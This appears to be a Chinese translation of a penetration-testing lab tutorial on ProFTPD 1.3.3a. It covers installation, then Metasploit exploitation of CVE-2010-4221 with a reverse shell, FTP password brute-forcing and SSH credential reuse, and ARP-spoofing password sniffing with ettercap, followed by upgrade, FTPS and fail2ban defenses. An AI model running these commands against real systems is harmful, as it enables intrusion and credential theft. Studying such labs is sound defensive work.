渗透测试之FTP服务

在这篇文章中,我们将学习如何在CentOS机器配置ProFTPD的服务。之后,我们将进行渗透测试,以评估FTP服务的安全性,那么我们也将学习漏洞的对策。

在CentOS Linux机器的安装和配置FTP服务

[1] ProFTPD的源代码库的ProFTPD的服务器(1.3.3a)旧版本的源代码下载,位于ftp://ftp.proftpd.org/distrib/source/proftpd-1.3.3a.tar.bz2.

image001

image002

使用的命令是没有hash签名的Proftpd(2011年)

# cd/usr/local/src

# wget -c ‘ftp://ftp.proftpd.org/distrib/source/proftpd-1.3.3a.tar.bz2’

[2]对于开发库和编译器的源代码编译,需要安装CentOS的机器上。他们安装使用下面的命令(ProFTPD,2013年):

# yum -y groupinstall ‘Development tools’

[3] ProFTPD服务器出于安全原因,作为一个非特权用户在Linux系统上运行。A组被称为ftpd的创建,然后被称为ftpd的用户也创造了属于的ftpd组。使用下面的命令:

使用用命令 作用

Groupadd ftpd 创建一个新组名为ftpd的属于/ etc / group文件。

useradd -G ftpd ftpd 创建一个新的用户名为ftpd,-G参数指定ftpd作为其主组,同事隶属于/ etc / passwd文件。

[4]一旦被添加用户和组的ftpd,下一步是编译源代码的PROFTP服务器,以产生的ProFTPD的二进制,支持FTP(文件传输协议)。使用下面的命令来实现这一点(ProFTPD,2011):

使用用命令 作用

cd /usr/local/src 使用CD命令进入/usr/local/src目录下

tar -jxf proftpd-1.3.3a.tar.bz2 使用tar –jxf参数解压proftpd-1.3.3a.tar.bz2归档文件

cd proftpd-1.3.3a 使用CD命令进入proftpd-1.3.3a文件夹

image003

命令(续) 作用
install_user=ftpdinstall_group=ftpd ./configure–prefix=/usr

–sysconfdir=/etc

该命令运行一个shell脚本,称为当前目录中的配置。这个脚本会检查的构建依赖和机器架构上的软件编译。该命令的主要任务是生成一个文件名为“Makefile文件。”“Makefile”文件包含读取make命令编译和安装指示。该install_user和install_group命令指示的用户和组的配置实用程序使用的ProFTPDare ftpd和ftpd的分别。prefix= / USR表示配置实用程序的二进制文件应该被安装在/ usr目录,而不是/ usr / local目录下(默认)下。最后,SYSCONFDIR=/ etc表示configure脚本配置文件应安装在/ etc目录中。
Make 该命令编译的二进制文件按装在Makefile中的表示。
make install 此命令安装编译好的二进制文件,其中包括名为proftpd的ProFTPD的守护进程。

image004

[5]一旦被编译的二进制文件,proftpd的位置被发现使用下面的命令:

# which proftpd

该版本也被选中使用下面的命令:

#/usr/sbin/proftpd –v

image005

[6] ProFTPD服务器的主要配置文件,称为proftpd.conf中,这是位于/ etc,使用vi编辑器编辑。最终的配置文件看起来像下面这样。配置大量(注释#符号开始)的解释:

image006

同一个文件的配置指令,开始<Anonymous ~ftp>结束 </Anonymous> ,它里面的所有指令被注释掉(通过把一个hash符号前面的配置)禁用匿名FTP服务ProFTPD服务器。

image007

最终的配置文件,只允许本地Linux账户/用户(通过/ etc / passwd文件中定义的用户)和chroot到他们的主目录(限制),使他们无法摆脱该目录。

[7]由于ProFTPD的守护进程配置为支持本地Linux账户和他/她的主目录为chroot用户,一个新的用户称为prithak密码,密码加入到Linux系统进行测试。使用下面的命令:

# useradd prithak

# passwd prithak(enter password prithak twice)

同样,另一位用户名为丹尼尔也被添加到系统中。最后,现在我们系统上有以下的用户:

用户名 密码

prithak 1234qwer

daniel 1a2b3c

CHINTAN A1B2C3D4

[8] PROFTP服务器(192.168.79.135)在调试模式下启动,并使用内置的Windows ftp命令访问Windows机器(192.168.79.1)。用户prithak(密码prithak)能够成功登录到ProFTPD服务器,并在同一时间生产ProFTPD服务器调试日志在标准输出上,确认登录的细节。

ProFTPD的开始使用以下命令行选项:

proftpd -n -d 4 -c /etc/proftpd.conf –ipv4

选项如下:

-N

运行ProFTPD的进程在独立模式(必须配置在配置文件中),但没有背景的过程或解除它控制tty的。此外,所有输出(日志或调试消息)发送到stderr,而不是syslog机制。

-D

在调试模式下运行ProFTPD服务器。4个参数增加了冗长的日志4

-C

/ etc / proftpd.conf中指示ProFTPD的守护程序读取配置文件位于/ etc / proftpd.conf中。

-IPV4

表示ProFTPD的守护进程只监听IPV4地址,即禁用IPV6(如果存在的话)。

image008

[9]要确保服务器上运行的PROFTP(192.168.79.135)开始,每次重新启动Linux的初始化脚本(init脚本)与源PROFTP被复制到:CentOS的INIT V(初始化系统V)脚本目录(/ etc / rc.d / init.d中)。然后脚本可执行文件。最后,使用chkconfig命令打开ProFTPD的服务

# cp /usr/local/src/proftpd-1.3.3a/contrib/dist/rpm/proftpd.init.d /etc/rc.d/init.d/proftpd

# chmod 775 /etc/rc.d/init.d/proftpd

# chkconfig proftpd on

侦查、踩点、漏洞利用

[1]侦查和踩点

每一个漏洞评估的第一步是要找到正在运行什么服务和版本的服务,这就是所谓的侦察和踩点。要完成此步骤应启动对目标机的一个端口扫描。nmap的端口扫描器,发起针对本机使用下列参数:

root@bt:~# nmap -sS -PN -n -sV -sC 192.168.79.135

image009
Nmap扫描结果表明,远程机器上有两个开放的端口:22(SSH)和21(FTP)。此外,在远程机器上运行的FTP服务器的版本ProFTPD的1.3.3a的SSH是OpenSSH的5.3。此外,SSH服务器只支持SSH协议版本2.0。

[2]缓冲区溢出攻击的ProFTPD 服务

当已知的漏洞ProFTPD的1.3.3a在互联网上搜索,得到结果如下:

image010

该漏洞的“CVE-2010-4221”被认定影响ProFTPD的1.3.3.a,我们运行的版本。据分析,“ 多个基于栈的缓冲区溢出的pr_netio_telnet_gets功能在netio.cProFTPD的1.3.3c之前,允许远程攻击者执行任意代码通过涉及TELNET IAC转义字符(1)FTP的载体或(2 )FTPS服务器。

image011

类似的,CVE-2010-4221漏洞利用在互联网上搜索时,它会导致以下Metasploit exploit:“ProFTPD的1.3.2rc3 - 1.3.3b的Telnet IAC缓冲区溢出(Linux)的。”相同的截图如下所示

image012

要成功利用这个漏洞远程机器运行ProFTPD的易受攻击的版本,Metasploit在 Backtrack Linux系统中使用下列命令:

root@bt:~# cd /opt/metasploit/msf3

root@bt:/opt/metasploit/msf3# ./msfconsole

image013

ProFTPD的易受攻击版本上运行192.168.79.135该漏洞被加载,使用下面的命令(命令为红色):

msf>use exploit/linux/ftp/proftp_telnet_iac

msf exploit(proftp_telnet_iac) >set RHOST 192.168.79.135

RHOST => 192.168.79.135

msf exploit(proftp_telnet_iac) >set payload linux/x86/shell_reverse_tcp

msf exploit(proftp_telnet_iac)> set LHOST 192.168.79.144

LHOST => 192.168.79.144

msf exploit(proftp_telnet_iac) >exploit –j

Metasploit的命令 描述
use exploit/linux/ftp/proftp_telnet_iac 加载当前文中提到的proftp_telnet_iac漏洞。
set RHOST 192.168.79.135 攻击的目标主机,即被受攻击的机器的IP地址。
set payload linux/x86/shell_reverse_tcp 将要执行的shellcode成功利用后。这里payload是可选择。payload 反向连接给攻击者,攻击成功后。漏洞应该连接的IP由LHOST参数设置。
set LHOST 192.168.79.144 设置攻击者的IP地址。
exploit –j 作为后台会话启动的漏洞。

image014

成功利用此漏洞的结果,获得反弹shell的192.168.79.135(PROFTP)的服务器。创建一个新的会话shell,使用Metasploit的控制台中的“session -l”命令可以列出。

与会话交互,“session –i 1”命令。要检查的权限级别的用户谁触发了反弹shell,使用如下的命令:

ID

此命令输出的有效用户ID。输出显示,我们有uid和gid 0即root用户。

WHOAMI

此命令是用来输出当前用户的用户名称。这个命令的输出也证实了,我们访问的机器是root权限。

因为我们有超级用户(root)的权限,我们也能够修改/ etc / shadow文件,其中包含了用户的各种系统中的密码哈希,只可读/可写的根用户。下面的截图显示的信息:

image015

[2]暴力破解密码攻击PROFTP服务器

开始了对PROFTP服务器的密码暴力破解攻击,下面是由Python脚本写的。这个脚本试图暴力猜解用户prithak 、CHINTAN、daniel的密码。默认的密码文件附带bracktrack作为密码数据库文件。

image016

使用上面的Python脚本,成功暴力破解出FTP用户prithak CHINTAN,丹尼尔的密码。下面的截图显示获取的密码:

image017

由于大多数系统多个服务使用相同的用户名和密码,用户名和密码信息,从先前的攻击是用来对付SSH服务器运行在同一台服务器上。这种攻击也被称为“密码暴力猜解”(Harper,,2011)。密码破解攻击是成功的,上述凭证有效期为SSH登录。下面的截图显示在SSH成功​​登录:

image018

[3] ARP欺骗和密码嗅探攻击

因为FTP协议发送用户名和密码以明文,它是容易受到密码嗅探攻击。在这种攻击中,以下IP机器涉及:

192.168.79.135 PROFTP服务器(FTP服务器)

192.168.79.144 Backtrack(攻击者)

192.168.79.150的Windows XP(FTP客户端)

下面的截图显示的ARP欺骗攻击之前推出的Windows XP主机地址解析协议表:

image019

由此可以看出,所有的主机具有与它们相关联的不同的MAC地址。现在,因为攻击者是在同一个局域网段作为FTP服务器和FTP客户端,它是可能的攻击者发动ARP欺骗攻击,使他可以坐在中间的FTP交流和嗅探密码。要做到这一点,攻击者的计算机上执行以下步骤:

1、 启用IP转发给攻击者的机器,它可以在FTP服务器和FTP客户端之间通信。这是通过使用下面的命令:

# echo 1 > /proc/sys/net/ipv4/ip_forward

2、ettercap软件是被用来发起一个ARP欺骗攻击给192.168.79.150【Windows XP(FTP客户端)]和192.168.79.135 PROFTP的服务器(FTP服务器)。使用如下的命令:

# ettercap –iface eth4 –text –quiet –mitmarp /192.168.79.150/ /192.168.79.135/

image020

3、下面的截图显示在Windows XP计算机上发起攻击之前和之后的ARP表:

image021

4、现在,当客户端登录到FTP服务器,ettercap软件来抓起密码并输出。

image022

image023

防御措施

[1]缓冲区溢出利用对策

由于系统上运行的ProFTPD的版本较旧,最有效的对策是安装相同的软件的最新版本。另一种对策是安装FTP服务器更安全的版本,具有很好的安全追踪。pureftpd的服务器似乎比ProFTPD服务器有更好的安全追踪。

应用对策,我们pureftpd的选择升级到最新版本。这是通过类似的步骤,后用来安装旧版本的ProFTPD的。所采用的步骤如下:

ProFTPD服务器的运行版本停止使用下面的命令:

# service proftpd stop

进入它的源目录,并使用“卸载”命令,删除旧版本的ProFTPD服务器。

# cd /usr/local/src/proftpd-1.3.3a

# make deinstall

ProFTPD的服务器的源代码最新版本的下载和使用md5sum命令来验证它的MD5校验。下面的屏幕截图显示了信息:

image024

ProFTPD的较新版本的编译和安装,使用下面的命令:

# tar zxvf proftpd-1.3.5rc2.tar.gz

# cd proftpd-1.3.5rc2

# install_user=ftpdinstall_group=ftpd ./configure –prefix=/usr –sysconfdir=/etc –with-modules=mod_tls

# make

# make install

[注:已解释所有这些命令及其用法已经安装了旧版本的ProFTPD的。mod_tls选项使FTP通过SSL / TLS(FTPS)协议的支持。]

ProFTPD的版本检查时,它出来,ProFTPD的版本1.3.5rc2。

image025

最新版本的ProFTPD开始然后lsof命令是用来验证FTP服务器正在运行:

image026

它也可以使用以前使用相同的用户名和密码登录到FTP。这证明了确实是升级的FTP服务完美的工作。当先前使用相同的漏洞发起针对该ProFTPD服务器使用Metasploit的,它失败了。这验证服务已被修补。此外,在写作的时候,没有已知漏洞(本地或远程)ProFTPD服务器版本1.3.5-RC2,我们正在运行。

image027

[2]防范密码嗅探攻击

可以保证FTP协议使用的FTP SSL(FTPS)协议。可以执行下面的步骤,使FTPS:

1、生成的SSL / TLS证书使用OpenSSL工具与Linux(FALKO,2011):

# mkdir /etc/ssl_certs/

# opensslreq -new -x509 -days 730 -nodes -out \

/etc/ssl_certs/proftpd.cert.pem -keyout /etc/ssl_certs/proftpd.key.pem

确保该证书有效期为730天,两年。

image028

2、ProFTPD服务器被配置为支持FTPS协议,通过编辑/etc/proftpd.conf中的配置文件。此外,明文FTP协议被禁止,和FTPS执行。ProFTPD的拒绝明文FTP连接。下面的屏幕截图显示了添加行注释和解释:

image029

3、一旦配置完成后,重新启动ProFTPD的守护进程,使用“service proftpd restart”命令。现在,当Windows 7内置在FTP.EXE客户端被用于使用明文FTP协议连接到服务器,服务器拒绝连接错误消息:

“550 SSL/TLS required on the control channel.”

image030

4、为了测试登录,FileZilla的FTP客户端的安装和它能够成功登录到ProFTPD服务器使用SSL / TLS。然而,有关证书的警告讯息显示。这是由于这样的事实,该证书是自签名的。一旦证书被接受​​,在连续登录,没有任何错误。

image031

image032

此外,用于FTP服务器的密码应该是保密性强。FTP用户应该有自己的shell更改为/bin/false,这会确保FTP用户将无法通过SSH,telnet或TTY会话登录。这样做是使用下面的命令:

# chsh -s /bin/false prithak

# chsh -s /bin/false daniel

# chsh -s /bin/false chintan

# echo /bin/false >> /etc/shells

[3]防范密码暴力破解攻击

为了防范密码暴力破解攻击,采取以下步骤:

1、选择强密码和用户密码进行了升级。使用下面的命令:

# passwd prithak(提示密码alj234wkjw 82jlk2133当输入两次)

# passwdchitan( 当系统提示输入密码234aj%2] 32 [maere输入两次)

# passwddaniel( 当系统提示输入密码; 8 @#%2./ere的$ * 0.0 *两次输入)

2、Fail2ban的实用程序ProFTPD的系统上安装和配置。Fail2ban的实用程序可以检测和防止密码暴力破解攻击,通过阻断攻击者的IP地址(ES)。ProFTPD的日志(/var/log/secure)检查,并根据配置,自动插入iptables防火墙规则(次),以阻止违规的IP地址。采取以下步骤来安装和配置ProFTPD的fail2ban的:

(1)、Fail2ban的安装使用以下命令(Selvaganeshan,2010):

# wgethttp://dl.fedoraproject.org/pub/epel/6/x86_64/epel-release-6-8.noarch.rpm

# rpm -ivh epel-release-6-8.noarch.rpm

# yum install -y fail2ban

(2)、/ etc/fail2ban/jail.conf文件编辑和以下参数改变(Selvaganeshan,2010):

bantime = 600

maxretry = 4

bantime定义的秒数来阻止攻击者的IP和的maxretry参数是允许的IP被封锁之前的错误数。因此,在这种情况下,如果任何一个IP有四个以上的失败的登录,是被禁止的。同样,监测ProFTPD的日志也被启用在“proftpd的iptables的”部分:

image033

然后重新启动fail2ban的服务使用下面的命令:

# /etc/init.d/fail2ban restart

起初,没有IP地址被fail2ban iptables协助。 默认规则集的fail2ban-ProFTPD链是空的,如下所示:

image034

当FTP密码暴力破解攻击进行IP地址192.168.79.222(backtrack)在ProFTPD服务器(192.168.79.135),检测到的攻击,攻击者的IP地址被阻塞:

image035

iptables的规则来阻止fail2ban的插入IP 192.168.79.222下文重点介绍:

image036

结论

从源代码安装ProFTPD的服务器,并使用缓冲区溢出漏洞攻击,密码嗅探和密码蛮力攻击。此外,服务是固定使用强制SSL / TLS证书和Fail2ban的入侵检测系统,并升级到最新版本的服务。

本文有小安攻防研究室翻译,如有翻译错误请联系管理员纠正,转载请注明地址谢谢。

原文:http://resources.infosecinstitute.com/penetration-testing-of-an-ftp-service/

参考:

http://openmaniak.com/ettercap.php

http://www.howtoforge.com/setting-up-proftpd-tls-on-debian-squeeze.

http://www.proftpd.org/docs/howto/Compiling.html


发表评论

(必填)

(必填)

(以便回访)